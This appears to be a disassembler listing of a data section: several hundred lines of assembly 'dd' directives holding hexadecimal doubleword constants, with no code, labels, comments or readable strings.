		dd 3E2C1923h, 228C0138h, 1A882E1Ch, 0F5D27F1Ch,	9E52D0Ch
		dd 2821C3ADh, 7FB888E8h, 130A9E3Dh, 0C0CF511Ch,	0CC0C1A83h
		dd 56B7C821h, 0F1DC0097h, 4CCFFEE1h, 0A860485Ah, 9D342B28h
		dd 0EB6009E8h, 0E680045Bh, 193150B6h, 2581A4BEh, 240B8267h
		dd 3F29B09Dh, 4DA0A189h, 0AD542800h, 7133CFF0h,	48CE362Eh
		dd 98002260h, 7D90D993h, 4D00759Eh, 23112E59h, 353DCEDh
		dd 8E7B4713h, 76F07DCEh, 0E70081BBh, 82834028h,	3F91E53h
		dd 94968E03h, 428038B7h, 0F800982Ah, 0A7B85C4Bh, 1426C5h
		dd 0B35A1634h, 792DFF6Ch, 562F0900h, 9B0251BDh,	0AFD0334Bh
		dd 0E990FCFAh, 80E1674h, 600C67F6h, 10582DA7h, 59E80047h
		dd 5C2C360Fh, 64014854h, 0BDDAC41Dh, 0F1EBB683h, 0C6D4FD3Eh
		dd 2686006Fh, 2F573BA7h, 3800128Eh, 429B7970h, 70C7447Ch
		dd 0AB7800B1h, 0CB5A6D20h, 4A00D194h, 53369FA4h, 0DAB559h
		dd 0E8AB73D3h, 6F2A14C1h, 40E4E21Eh, 21C0AA1Ch,	7E043CE5h
		dd 7C720053h, 0DA8FF2EDh, 41036CA0h, 0D22F264Fh, 0C3CDB030h
		dd 9370048h, 0F30D22BAh, 260246E1h, 20F469EAh, 0F0B08373h
		dd 9C0AD1D1h, 533DE4h, 80C4D3BAh, 1DAB0318h, 0F2093806h
		dd 52D0543Fh, 0E1AE0440h, 8B30AB71h, 273F0F8Ah,	0A7805915h
		dd 8E30E990h, 80D6983Ah, 93BF3EE1h, 5E0789h, 0F7D3397h
		dd 668AA702h, 981B91FCh, 0DC29C20Dh, 0E37EF20h,	0A4083681h
		dd 86EBF844h, 84F22144h, 22F33022h, 0C02288FFh,	211E4222h
		dd 28E3141Ah, 7F296311h, 89F4EC84h, 442E0837h, 60440635h
		dd 3BF1444Ch, 45558B44h, 1482CA30h, 0F249DE5h, 0F0A02840h
		dd 520F5157h, 0E7B7B202h, 26F111FEh, 1D8689Ch, 0CBC00B3Ah
		dd 0D78086CFh, 0AFC124E6h, 17A0E5Ch, 0B33D3497h, 67305BC6h
		dd 0B49A1E52h, 12D900EAh, 2BD53580h, 93CF2C00h,	0ECA8C36Ch
		dd 0A07917BEh, 0B8AB004Fh, 40037BD6h, 11D38613h, 0E03F950Ah
		dd 4993DA03h, 37B78896h, 0ECD400F9h, 688CF4D2h,	0D000955Ch
		dd 0AECF7481h, 1E048ECBh, 81C37F30h, 6D296A24h,	0E8E2CDC1h
		dd 0D00088Ch, 56F32875h, 960764h, 0F0699A2Dh, 5F5C09A4h
		dd 17002C92h, 7E1BCFC4h, 7A980C59h, 50A10020h, 80F7477Ch
		dd 62000A32h, 84929491h, 18E63D24h, 117A9FA5h, 0F70ED107h
		dd 262FB386h, 19BBE8h, 0AB348BD5h, 491FEB14h, 8CE32103h
		dd 3B8DC7AAh, 42000C20h, 0CB8393D5h, 0C80025E7h, 0B7952E64h
		dd 3CA6740Bh, 2AB0A818h, 2DF481B0h, 7947C703h, 89AA8B3Ch
		dd 902473E0h, 0BEEF0001h, 90273926h, 94005803h,	89FA3185h
		dd 0E8F7E6AEh, 37950FDAh, 0A60766C2h, 16D740CFh, 84004A92h
		dd 4BE06426h, 652790h, 1E08156Fh, 18ACBEC6h, 62AFB1Fh
		dd 352CC80h, 63CB25h, 17124A20h, 6ECA5E73h, 217E4C00h
		dd 0DCB92A89h, 3E6103EFh, 972DB3F3h, 0AC588DE8h, 81D83601h
		dd 0C8193332h, 0E58260h, 0A2E2CAA0h, 1057D9CBh,	6B602E00h
		dd 66BE1D97h, 73010025h, 0EF6342B2h, 1C000B35h,	7AD46FF8h
		dd 3F5DE75Fh, 2800443Bh, 0AAD5653h, 5800B97Dh, 3A4CDB13h
		dd 506BA176h, 5BF462h, 43095A34h, 0F52CBF12h, 50F3B200h
		dd 7BA65802h, 486300FDh, 388FD5A4h, 8B007DB3h, 62E5A31Ah
		dd 0E2BA8A52h, 0AC31005Fh
		dd 47EFAD1Bh, 7D0087C2h, 904C9432h, 0E834BCA1h,	2417F6D7h
		dd 0C52CCAB7h, 8FB4019Ah, 2440C64Eh, 0C200212Ch, 3FC8E38h
		dd 1ED481D3h, 0FA22Bh, 0A77D26D2h, 0E30061BBh, 0AB5A9B06h
		dd 15BFED7Eh, 0FC7C02DEh, 0D4B88B00h, 2EFAD0E7h, 94281D12h
		dd 0C38C5F0Eh, 0B8D15110h, 70C2968h, 0BEC3FCD0h, 0E39DE0A3h
		dd 0C10028EAh, 2A3B65BAh, 0B99E07h, 0FB270882h,	51536AA5h
		dd 3523CA01h, 2A950FF1h, 0EEC420h, 4B527ACDh, 0E4E0B093h
		dd 1BE70900h, 0DB946B95h, 0C7B800D0h, 0EF8C6D3Ah, 53079699h
		dd 7D5B100Dh, 1D894C70h, 1FD99058h, 80B48828h, 5C0EDC76h
		dd 187E6F79h, 4BF6B006h, 543B57h, 5BB1C92h, 39F2BDD4h
		dd 0F8855530h, 0D041C8h, 61F3F174h, 5DDFD8D3h, 0C92C3100h
		dd 0A11E8EFCh, 466000EFh, 0F2751B6Eh, 26000147h, 0FBA96FCAh
		dd 9E9737h, 68BBE691h, 783BF117h, 39C6EB00h, 0A719EA72h
		dd 4E5E02E9h, 4DAC185Ch, 63EEB040h, 0B2AAE003h,	0C19A92D7h
		dd 328029D8h, 0E4A294E5h, 781F7B07h, 6406937h, 84B33574h
		dd 7CD148A9h, 0EB7A6200h, 1E9CEEC4h, 581445F6h,	0A02897h
		dd 0AB8C50DCh, 457301Ch, 4BCF01B0h, 1278C0A7h, 0B312844Fh
		dd 4C936h, 0E341FF3Ah, 70D0561Ch, 0C81EE9FAh, 9071431h
		dd 0EF04B084h, 0AB178CC0h, 0B4DB0143h, 6DA82034h, 0A2A864FEh
		dd 847EC005h, 0C91021A1h, 8BBE0180h, 578E62DBh,	75E79880h
		dd 2F48BC92h, 3F264498h, 0E2839CECh, 3862CE1h, 6034BF88h
		dd 90C9BB73h, 0A646D089h, 90AAF624h, 0C0438F00h, 77B22Ah
		dd 0E3FCE91h, 8B901D2Ch, 0B507671Eh, 0B8046F03h, 0BA02C713h
		dd 1C15603Ah, 178301F7h, 6FF5B603h, 6EC8CF3Bh, 0A4004291h
		dd 9A09EB56h, 57750CCh,	714946DFh, 0BB228025h, 48003928h
		dd 16584E93h, 0EB6D4Bh,	67A4FB14h, 0F4B5023Fh, 9C305D03h
		dd 0E023889Bh, 7BCBE55h, 665F1D60h, 0F8AD6010h,	0F9002B36h
		dd 759EF79h, 7D2F95h, 7C481474h, 6721A231h, 0A5033202h
		dd 0C10E98D6h, 25C484C1h, 71EF3E56h, 9590DF00h,	359F03BDh
		dd 4FF2BCA0h, 492A3F00h, 1F1C653Ah, 8893832h, 0ABB00700h
		dd 94DBF2CDh, 0D100BFFEh, 0FBE2563Fh, 7AAE27h, 67019022h
		dd 0BBD4644Bh, 7CEC2EFCh, 0D21A0700h, 0DB7A3439h, 0E04A48E3h
		dd 7433EC00h, 0BF584FEDh, 9501D0B0h, 0D4395E79h, 9B3045C2h
		dd 0ADCA03B1h, 0D19C84DFh, 0BFDC17A8h, 3D409658h, 43BC00A5h
		dd 0F2501D8Bh, 8A3A004Eh, 9D6CC06Ah, 0CF01D5CAh, 2D383709h
		dd 0E430A1B7h, 158D12CCh, 0F68440B5h, 0C68595C0h, 4AB60700h
		dd 0B174A4A0h, 76CC1D48h, 9F23CB2Eh, 0D4021000h, 0F804A3CDh
		dd 1887B535h, 551F30C0h, 81951F11h, 0AEDA0076h,	0A5E88FACh
		dd 0E7860D00h, 1C5AE3C8h, 52EB0FD0h, 49005637h,	0F12C7BD1h
		dd 6C0B1300h, 2E446E42h, 0B2A300EEh, 0A2E765E9h, 0FA00896Ah
		dd 91D5DF8Dh, 11C113h, 928EC917h, 9D3C18AFh, 8C77E1Dh
		dd 9C832280h, 1DA08431h, 6489CD2Eh, 4FC007Ch, 0BE363B8Bh
		dd 0B967E00h, 70E54AA2h, 0BF05008Dh, 19AB65B2h,	0D2012BBAh
		dd 0CD8BF64Eh, 75F40E92h, 0DB6C0024h, 0FE5F3F89h, 3612C523h
		dd 0C40061F6h, 50A4837Dh, 20590104h, 4FD87F1Dh,	0E86C21F0h
		dd 0AF169AFFh, 0C8108F99h, 0E2C8B010h, 0B3CA28CEh, 4C201FFCh
		dd 1400F8F2h, 81D9FCDBh, 0DF00548Bh, 0C12E429Dh, 9EE2C9h
		dd 0F6DA92C7h, 245BB5CFh, 711F74EAh, 77C03BADh,	3FCDE130h
		dd 0F8670055h, 0B1DF0AB4h, 10E08BA8h, 0D2BE3500h, 0A63CEEF2h
		dd 0D9690058h, 0F2A8F75h, 0F075D3B6h, 44F1DD00h, 0F66F8341h
		dd 12BA0013h, 0A899FB24h, 7E161D02h, 0C00B2A4h,	4CE6503h
		dd 95100262h, 0A77AE75Dh, 0C9D1F2E0h, 3787E800h, 9276F198h
		dd 2B170086h, 27DF7E8Ah, 0F300A659h, 4A9AB20h, 0BF57CD4h
		dd 0C3FA3D64h, 0B2D9200h, 0C12DDD3h, 7420664Dh,	0FC0205C8h
		dd 9BD4003Fh, 0DFE1BF53h, 7D024F0Ah, 0C39366B6h, 0A3AD60A4h
		dd 0FC2A009Bh, 19BE05C6h, 3200A5C5h, 0E0FA56EFh, 0E693EDBh
		dd 2515B7CAh, 6D468A23h, 1AA730F8h, 577AA016h, 17E400ABh
		dd 9FA23D4Bh, 29F0FB00h, 0A81F3351h, 0ACFC4D5Bh, 80B42C1Dh
		dd 0EEAE258Bh, 525D7B61h, 0B53D0044h, 6612620Fh, 0FBEA0B6Eh
		dd 68009EC2h, 0E27EA2BDh, 5C3A2800h, 8A0FF90Bh,	9513042Fh
		dd 8062C625h, 7573AD30h, 1AAA1C0Bh, 0AF8E80F4h,	0C2CBBBh
		dd 0C00A8CC3h, 0F1794DB5h, 8300587Ch, 7E225B03h, 1C08195Ah
		dd 3DA154A5h, 4DB6685h,	95489002h, 61E36006h, 43F0C310h
		dd 7400E2FBh, 0A1C985D6h, 1E1434h, 647B6316h, 0DCFCB904h
		dd 8DDF6700h, 74663C79h, 92E201A6h, 421DA09h, 0D044D8DBh
		dd 5B61E0Bh, 869C80D1h,	4341BEh, 0B577CE3h, 0BB9CD458h
		dd 0E5318E07h, 36A09B29h, 228766h, 6CB8F3DBh, 0EEDF56F6h
		dd 293A6EF0h, 2E788071h, 5F1CC36Ah, 950B3F17h, 0E62130Fh
		dd 98493820h, 0C500E488h, 4D4061F0h, 7477BE6Ch,	8C05136Ah
		dd 88003E86h, 64D0686Bh, 3558A039h, 0CD28610Fh,	7096C086h
		dd 4BB9330Ch, 85C2009h,	8300CAC4h, 85AE3CD1h, 0F6E1C675h
		dd 0FEFB0E2h, 3DDA9168h, 0A1260320h, 0F07D2C30h, 0A7062E01h
		dd 540F817Eh, 37C9A8C3h, 0B4FC00F3h, 19C4466Ah,	4D04DD60h
		dd 61484A1Dh, 85E3B080h, 0C8812EE8h, 9C7800BFh,	3BCA5E82h
		dd 8E7D1D1Fh, 0B65C2240h, 1B9877Ah, 1774FE62h, 0F859D747h
		dd 0F700923Eh, 87CB09Dh, 571E27h, 0D4197FB8h, 7D3E45BCh
		dd 0B0B48850h, 7CC84807h, 0DB272B99h, 0C095D602h, 71B177h
		dd 0E7A6E697h, 137673E8h, 3F9A0D00h, 67D2AEB9h,	0DF4316A1h
		dd 0B2D0418Ch, 0E9991FA0h, 31B44069h, 0BD5DEDAAh, 0D3FF0084h
		dd 11E2A282h, 7E6903Ah,	0D830A415h, 3EABE0B0h, 0E00C41Ah
		dd 5CAA9CDDh, 999E3Ah, 3A62582h, 86F6EC7Ch, 0D7152A00h
		dd 9C95165Bh, 3793008Dh, 3388059Fh, 0EA007FE7h,	4F3931B9h
		dd 7202AC8h, 6A638066h,	3E5672BCh, 0A586B0E0h, 0B3FF9E00h
		dd 0D936EC09h, 537640h,	84A82DFDh, 767A3B24h, 0E6D3C1Eh
		dd 0E3A5A6C0h, 0FAD0CF9Ah, 61F4008Fh, 541AA997h, 0CE73F7FFh
		dd 15F66B01h, 0BB4C9DDEh, 4E001C2Ch, 0FEAD7037h, 0BF0179FFh
		dd 0D112CC2Eh, 13D481D3h, 901E009Eh, 0A4C55C4Bh, 0A008DBEh
		dd 3668B9E8h, 1F6FDFCh,	50775511h, 70444E19h, 0BE007368h
		dd 2AACC353h, 0A32B9528h, 1A819888h, 92D2CBh, 0BEF05610h
		dd 0E700ED40h, 47FCDA9Bh, 14C0FA7Ch, 0FC8CFFE6h, 1546F28h
		dd 34928D7Eh, 40E32CEAh, 94D2B2CCh, 6DA07412h, 8F001812h
		dd 9935E7D9h, 767BB7h, 80BB433Ah, 0CD5CBEC0h, 7204F4B1h
		dd 6C80F6F7h, 0B46B629h, 0A34EB328h, 5F86F300h,	77005AB9h
		dd 9B951447h, 0BB70ADh,	7E877BACh, 23564A31h, 0F8171800h
		dd 0A18D2519h, 16D10080h, 0FE615D0Ah, 0DC009D8Fh, 9411FD81h
		dd 0F895924Ch, 756A00E8h, 5C8B41ADh, 63502AD4h,	0B000EF84h
		dd 531852F5h, 0FAA78CBh, 669F30EBh, 84C67763h, 5CF054B0h
		dd 8F81E600h, 37764301h, 8E1B00ACh, 0EB779D1Fh,	0C700C002h
		dd 130C3BFAh, 7327DB1h,	0A4DDA850h, 136F37B5h, 30B0DB2Ch
		dd 273CCEF0h, 33B20039h, 8AFB0DA2h, 1AFC1E48h, 15D06A7Eh
		dd 0C4CBE6B5h, 0A488F480h, 0BE00C32Ah, 11617FCFh, 0BEC3E20h
		dd 0E65D9721h, 5830770Ch, 0A4E05000h, 37243C1h,	6D2F17A7h
		dd 8C3C00E7h, 7FB1333Eh
		dd 9E569100h, 1682652Bh, 0DC114914h, 6707AB02h,	986040AEh
		dd 0C12646B8h, 9848C6Bh, 1D009502h, 514C150Ch, 4E70CA12h
		dd 3AA90E07h, 6FD962DEh, 0D70CE062h, 662900BAh,	3B890DBDh
		dd 8B0159ABh, 0EADB6917h, 70D89645h, 33B9024Dh,	445CC0B2h
		dd 8149460h, 775EB118h,	0A03A2FD0h, 0C79AEAh, 106CACABh
		dd 67F86B09h, 8E69D725h, 48225A8h, 96CE64E0h, 40EA4484h
		dd 0D9CD7C93h, 0E83600ABh, 4EE37AFCh, 2E09DA39h, 81011AA2h
		dd 0C6300904h, 4880C961h, 0D38DF18Ah, 0A0BADDB4h, 10D94A0h
		dd 881C5909h, 0AA4B0028h, 0F7026140h, 0D7A1D4h,	2FCCD3F6h
		dd 8ABDF88Bh, 601E8505h, 2282EB83h, 0A046169h, 51F1760h
		dd 7E6D556h, 9EEC0E29h,	24405229h, 7B00D10Eh, 0B8E040A3h
		dd 2BC265h, 0C6E970A6h,	5F06A43Bh, 1EB53600h, 0D0308E5h
		dd 6B4F0095h, 917292D9h, 0B6F6672Dh, 0F1905A50h, 8800C74Fh
		dd 1A09F6BFh, 0DBF900D2h, 0BD71A7AAh, 9D3A6F9Eh, 1E9A01C7h
		dd 0BE39198Ah, 0DCA0E8h, 88D0E982h, 6F6A7B0h, 0D6B840E3h
		dd 6500E0F3h, 870976A3h, 0E2D9683h, 546B5723h, 7E15AC60h
		dd 0A600143Dh, 0C627CC75h, 0FFBC9Fh, 55E4C7DEh,	0BE57EF3Bh
		dd 79FD6A07h, 98EDA89Dh, 0A8F6D9D4h, 80083258h,	6B0ED705h
		dd 0A0DAD595h, 78E40989h, 0F68D002Ch, 1CAB9177h, 0BB001EBFh
		dd 795F6382h, 651A24h, 42FDCEBDh, 0F44DE884h, 68453B00h
		dd 0CAB18DD5h, 0D10F1E09h, 1E60935Bh, 3321428Fh, 0D340EF4Fh
		dd 6600C825h, 9B16A7E6h, 39CC6C50h, 31007793h, 0C5551D8Bh
		dd 3200B0EAh, 91247DF7h, 502CECh, 9FFCB585h, 8D31DE25h
		dd 0ACFE6490h, 7D63E400h, 0B3BE1656h, 12A21C3Ah, 64A08097h
		dd 3C8E0DFAh, 6AD3A71Ch, 352400E5h, 0F500A5Bh, 0E1309312h
		dd 0BC57C2E0h, 9E247EF2h, 2228CC70h, 1819CC25h,	3351428h
		dd 0BCBEE2F8h, 2802826Dh, 127DE34Eh, 50F8E077h,	0F2970059h
		dd 19462481h, 341D6B4Ch, 5F43FB10h, 0F0D0E58Dh,	0CCA3DCh
		dd 11B897B6h, 52715E6Ch, 3F228C00h, 0DFB08A8h, 923000C0h
		dd 4691AADh, 4812FF60h,	34009FCFh, 307140F5h, 0EE6E7689h
		dd 24E9F6A7h, 104C5573h, 466CC760h, 0D31CD2D0h,	5956743Fh
		dd 481E900Bh, 53D58C24h, 8D00BFB8h, 58A24A17h, 72BEC851h
		dd 0FBE600E7h, 1F9A4520h, 0AF0014A8h, 1B385DBFh, 13071795h
		dd 40D165B6h, 4A0C8D10h, 7B1E5FD8h, 0A193F4C9h,	7337D420h
		dd 652C3AB7h, 0EE37C02h, 74604F3Bh, 0B200587Ah,	0E2920761h
		dd 1ED5F4DBh, 0C034F5C2h, 55E2722h, 57071D68h, 8CA63569h
		dd 9E0BE560h, 0F1009F43h, 3D17C44Dh, 0A5F3D800h, 6ED5B874h
		dd 1AF01CB9h, 0DD8C4075h, 0DF39D9DBh, 0A9C55D00h, 8E50315Eh
		dd 3CD7DD5h, 0BEC18F78h, 24D820ECh, 660EE1AFh, 60575996h
		dd 0C148B28Bh, 222F0161h, 4CDA3C73h, 0A2D5FC8Eh, 67032CB2h
		dd 8FCD1D82h, 21F3C8DEh, 17B73D76h, 84000F2Ch, 8068FC14h
		dd 3CF4EC89h, 87E3CE3Ah, 9656A624h, 7D73F921h, 9819A60h
		dd 5D8E84B3h, 0DD8B081h, 0C0C46D54h, 473D8C5Ah,	0ED011E65h
		dd 88B19683h, 3740CB7Ch, 0D35304A6h, 0FC865Ah, 9485BDEFh
		dd 472A4050h, 359C520h,	7C0BB3EAh, 1F826FD1h, 0C5549C68h
		dd 0AABF7100h, 45D5F2D3h, 0C4B61Eh, 3EC2DD80h, 10907817h
		dd 5300C4B4h, 0D219F6BCh, 0A79107B2h, 901D0773h, 0FF36E384h
		dd 79EAC490h, 8040FA39h, 5B96B92Bh, 328210h, 8DE7A99h
		dd 5DC14306h, 26BD3500h, 22A77339h, 314A70h, 9F7D3058h
		dd 8F072A1Ah, 0B1093819h, 0EA0C8AE0h, 0DF5C006Bh, 45A12890h
		dd 9C707D7Fh, 2214C500h, 8C6C7235h, 803612F7h, 9998009Fh
		dd 0B4A9CB61h, 0C67A5300h, 6794FEF0h, 3DED0006h, 558B3C50h
		dd 0E603267Eh, 1F5CB1C3h, 475886Eh, 0AEF70093h,	0C0E5421Bh
		dd 3B00CD65h, 686F79F3h, 0E8682h, 2D84D1Fh, 47B19AAh, 0DFF42D00h
		dd 0A630C960h, 72123A0Eh, 8AE11681h, 601DA477h,	0C401399Ah
		dd 0A6C034CFh, 7AD8D4F9h, 3C820EF0h, 0F38EB3E6h, 77B0AFC0h
		dd 50001641h, 7838CE21h, 0FA3FF090h, 518E00A1h,	6E596F43h
		dd 0FB1DAB9Ch, 743B3536h, 0AE00337Ch, 0B2822DEFh, 1FBB5283h
		dd 806792C8h, 0E279CDE1h, 2E075839h, 141CD3A5h,	0C433E05Fh
		dd 31E819h, 0AF76D846h,	7FE6201Eh, 10579500h, 0ECFA91CBh
		dd 0CDC1075Ah, 3851C3h,	84C72EABh, 0D760700h, 0D619C070h
		dd 0F48A0004h, 0A7F10F9Dh, 0FC00E6DBh, 576743Bh, 0C2F2E40h
		dd 0E84BF548h, 4403FB18h, 7EE9AF17h, 0C0DE986Ah, 2F020BE4h
		dd 0CB018A53h, 0C087AC7Bh, 1714A727h, 0F0E949h,	0B694FD2Ah
		dd 0ECE061h, 2E9FBA0Eh,	635DCF4Bh, 0F12930C0h, 48EF92C3h
		dd 0B8008E3Eh, 75225477h, 1101AFCAh, 5BED0C40h,	0B9C41902h
		dd 1120962h, 2021E809h,	0E8841A68h, 0C07D350h, 0AA43D72h
		dd 0E37569B3h, 188149Fh, 5C001860h, 62BB65E3h, 8D746403h
		dd 0B101113Dh, 196A21DDh, 0A2071C40h, 0AAA393Dh, 0D9A60074h
		dd 23AF4BC6h, 0D007B73h, 3B219C62h, 3C4FE104h, 588031E6h
		dd 15F39D3h, 1B005530h,	0D485DB0Dh, 104AE9Dh, 64BFE86Ah
		dd 0D0336873h, 0A7008693h, 407F59D9h, 17DAB3Eh,	2E95AA3Bh
		dd 0F4413D49h, 0D407A834h, 0A3A0AE33h, 5204ABA0h, 54B500DDh
		dd 0A2BC9773h, 3260AA1Ch, 0C28DE9C0h, 274A092h,	11983BE2h
		dd 97505280h, 0EBF22053h, 0A0028E2h, 67D6D141h,	0A44227h
		dd 73E89DEFh, 0E9B53F9Fh, 831C7578h, 4AC01BC9h,	591F385h
		dd 0EFAB30D6h, 14DCD516h, 0AE01230Ch, 0E4FE50h,	94A67175h
		dd 975B3D33h, 8E210503h, 887D5CA8h, 7C529FE0h, 0C14A03E4h
		dd 1B59BE7Eh, 0AC384BF8h, 82702100h, 0D7D0506Ah, 0EB3D0FC9h
		dd 42005EAFh, 9077EA30h, 0CAE34401h, 6C7BF092h,	0A5B220h
		dd 1A3BB59h, 8CE2F73Bh,	804CE900h, 0BF7D4726h, 0A1E00406h
		dd 0C0427B2Fh, 91590F20h, 0A36A1402h, 6010C9BCh, 506902FEh
		dd 0A21A082h, 37776531h, 43694A8h, 1DACAAh, 9973BC43h
		dd 9149E210h, 7DF42A00h, 787068D7h, 7F6F3FAEh, 0BF269B8Bh
		dd 896D0507h, 0F46E5A00h, 157CC273h, 619B7500h,	149C81E3h
		dd 0C78A007Eh, 9282EA11h, 96E8E222h, 8D9E2F00h,	97F4169Fh
		dd 0BC4E3EA3h, 0BA819900h, 0BF23C184h, 13948B1Eh, 4FC378C2h
		dd 185C9CB0h, 107DDB02h, 8D01BF9Eh, 3FA909B3h, 0F7FC4C42h
		dd 0FCF9480Ch, 6A200209h, 0A09E1481h, 0B299087h, 48AC5E84h
		dd 22C54474h, 0AD6F1027h, 0A3085889h, 44F3B144h, 0A5443741h
		dd 0C922846Ch, 11CF42E8h, 0B0216D26h, 88BE8008h, 0F8883F9Bh
		dd 6BC48892h, 90B31388h, 902C84F7h, 8742A848h, 218324B2h
		dd 0FC1269C2h, 88EBD610h, 0D883EDFh, 4858B98h, 48F51350h
		dd 0D8DC81ABh, 0FDD71289h, 0E214CC7Ah, 4A983B00h, 9558FA20h
		dd 0B0BE61D4h, 0D4F3F47Dh, 0B0008E74h, 8C7FB752h, 3BEB56h
		dd 0A32E814Dh, 0E52FEED7h, 2401EC00h, 4C529850h, 0A30B5CA7h
		dd 54B44300h, 26CD7CD5h, 3C563Ah, 0F9AFD23Eh, 0A1109Fh
		dd 6F58DC0Dh, 364E0681h, 0D27EAE1Fh, 1ECC2131h,	0B6CBDCh
		dd 83EF76D5h, 25E8C61Fh, 7BE40500h, 63A3A1FAh, 3E9104D0h
		dd 8081F6A7h, 4C867730h, 0F22E9E03h, 98346BBBh,	30EBA8BEh
		dd 5CFC33C5h, 81009471h, 5AFA071Dh, 0E92E16h, 8DE31C25h
		dd 0B7F2DCBCh, 88D1CC33h, 7B4FE063h, 0C3F2E4h, 0C6BB37B3h
		dd 0AC1DCAD7h
		dd 0A341AA04h, 7490FE56h, 1255E2h, 7910B8FCh, 0ECCA439Ch
		dd 6F267700h, 73FDD91Eh, 55A8009Ah, 0DB4FC5F4h,	0EAB8DE05h
		dd 69D30600h, 2C016028h, 0E1791245h, 0E7C700EEh, 4AA962FEh
		dd 0C37E8E00h, 7940393Ah, 6DB101F1h, 8FBCB4ACh,	0CC25E8F5h
		dd 66FA8D00h, 0DCB7E203h, 65E0ECDh, 0D480B53Eh,	5B1765A7h
		dd 0C2163700h, 19EB5570h, 3C1A28D1h, 0F0490094h, 2699D938h
		dd 60383DFh, 544F0A27h,	11110718h, 0F9DA24h, 69D1E99Ah
		dd 0DD742200h, 44780799h, 0B98A0018h, 4A8D0A2Bh, 0C41F60D5h
		dd 93C04FD2h, 0F21969EBh, 0E6AD0064h, 30735AA8h, 1D001F6Eh
		dd 1B7BA6ECh, 2CC46A39h, 57C528Eh, 0C0D13C74h, 40C388EAh
		dd 83C7EC00h, 42072DE0h, 3B6D00BFh, 0A5487B06h,	0A8006A1Fh
		dd 0F529D651h, 1FE5C48Fh, 8083C5D9h, 3E4B0519h,	0EC480746h
		dd 0F8FC0058h, 577A21E1h, 0AFC503D7h, 0E4749FEFh, 30319900h
		dd 64115071h, 0EAEC003Dh, 0DABA2325h, 11C0CD09h, 0D6FF6AD0h
		dd 381900E4h, 62821694h, 530070F7h, 1754FAFEh, 49CA150h
		dd 0C755071Ah, 2188C79Eh, 83374C5Dh, 0BDB23266h, 2835900Bh
		dd 1D202EEAh, 0EB003EF9h, 4C121733h, 0A5783938h, 0F0309B03h
		dd 0E3995EACh, 0EF57A0B2h, 55B400AEh, 0AF7B78Ch, 0C60028E3h
		dd 94172EA8h, 817DFAh, 952B7C91h, 13B79BFFh, 3C3BCD00h
		dd 0F30682D6h, 4534126Ch, 73000049h, 35CB6D46h,	0B6A5DA03h
		dd 0C812C7DBh, 7DFA75F6h, 5E7457h, 0E7F9463Fh, 11EE68EDh
		dd 8C288200h, 0B579BDE5h, 6A20014h, 1F4CFAE2h, 0D80E65B7h
		dd 0FB92A33h, 0D3972085h, 86B4F3h, 1BE5467Eh, 0EF8B1E38h
		dd 0F948E090h, 3F4E002Ah, 74862E9Ch, 0C7EE005Ch, 7AD1CB3h
		dd 6C00DAF3h, 0A477E14Dh, 1DE73BACh, 0C07BEC69h, 0B1C7D929h
		dd 479062E6h, 0E28AAE00h, 9F36793Dh, 0CC5F1E2Fh, 7584409Ah
		dd 0A843A3DDh, 9552A00h, 0F271BB9Dh, 25F8009Fh,	903A7D98h
		dd 633AB4AAh, 78218A2Ah, 7209C467h, 0B22381C2h,	0BEA8046Fh
		dd 9EF704D8h, 0C3CD05A6h, 10B8D8C3h, 8F000A21h,	9AD2675Ch
		dd 2BB36ACh, 446A5EDh, 0C761F556h, 4BC94122h, 31403091h
		dd 0C4378100h, 1F517FB3h, 5FE00169h, 0F42FF9Ch,	0ED943032h
		dd 65B64E00h, 94D570ABh, 0A349034Bh, 2EB015E7h,	0D6A507E0h
		dd 40043492h, 0B691BD76h, 0E3C364C0h, 233B0FBAh, 0D3C00680h
		dd 651A4285h, 5720B560h, 2CFC8FAh, 6B3E2D4Dh, 4841D266h
		dd 991420C0h, 8E62FD1Ch, 3540EB1Dh, 5CC3F55h, 6CF600D1h
		dd 60F0ABD3h, 0D7072BE3h, 54A75796h, 5EA67570h,	832207E1h
		dd 200E9E08h, 8791C0EFh, 2700C674h, 1A788CC7h, 143E2DBh
		dd 88684C3Ah, 303E94AFh, 0D90001A8h, 0C4475661h, 7C8E26h
		dd 0BBCFE684h, 0FB0FA544h, 55630200h, 0A4BC7FE9h, 603F0043h
		dd 21FC83E4h, 8900CFD1h, 700F1AFEh, 24E9D2A6h, 0B087875h
		dd 77005727h, 34F925BFh, 85934B07h, 0F2B06D1Bh,	0DA6510h
		dd 0AFAE76B0h, 9425E437h, 3D0C6800h, 8D9918D1h,	98290093h
		dd 7509360Bh, 0C8094CB0h, 757D0C11h, 1AB87700h,	0EB4D7B5Ah
		dd 4D10218h, 801794CCh,	0DE229EB8h, 86FC0F4Bh, 0CD813FECh
		dd 0EC20A8F9h, 2F1E2670h, 0C9C3FDACh, 398F4B3h,	341789EAh
		dd 40D10A75h, 58FF201Dh, 0DD6C100h, 5709EC77h, 728C0B33h
		dd 81009B2Fh, 4CEADE52h, 42000890h, 9C45DCCh, 58A702h
		dd 11DD79C5h, 41C8F86h,	0D4C14905h, 84142BCEh, 67E100D8h
		dd 0AA21C07Eh, 688300E3h, 0AF46A4E8h, 2B008499h, 0CB5A4CA3h
		dd 5DCA51h, 3EE94DC7h, 3AAADF81h, 2C627897h, 0CC779Dh
		dd 38D0320Dh, 0C807F6C9h, 5EB4B374h, 9D717330h,	353E00FAh
		dd 0EBE13689h, 6018C11h, 0B7CADC6Ah, 7048C92Ch,	0BA4A60AFh
		dd 75C04D95h, 0B7BF9A0Ch, 12E6849h, 0A12D7E19h,	40E33E8Dh
		dd 1ECF24BCh, 0E58016ECh, 66E0275h, 0FA6BD72Fh,	0FCF46BC0h
		dd 0D2A87100h, 3DB3324Ch, 84C124C4h, 1E803BE2h,	0DB665C83h
		dd 740064B8h, 0FBD71F34h, 1EEF5295h, 7DE9AB0h, 0D0408222h
		dd 79513DCBh, 97027E00h, 90D0B962h, 64C17A1h, 0DE3D001Eh
		dd 5AB66586h, 9F004774h, 75A4E145h, 0BC709D3h, 0C0D4E670h
		dd 0F9A9E80h, 2900E88Bh, 5AF1C369h, 0D18899h, 9312ADC7h
		dd 85923266h, 49C9702h,	0C04D223Ah, 3D5889Ch, 12CB16B5h
		dd 0C385D37Eh, 209F94C0h, 608154FFh, 0F717BB07h, 1F31F089h
		dd 0C848B280h, 4927D70h, 3295493Fh, 23CE81AFh, 289C60E0h
		dd 0D19C5C05h, 44C0C767h, 0E43E41Fh, 74FB2680h,	0A92291E0h
		dd 0AF1FD42Ah, 6B00EDB4h, 7C0A351Ah, 0D3FF30BAh, 0F21EB218h
		dd 3B4B8402h, 50F508A6h, 0A2030314h, 9F6E4927h,	4E8A3E80h
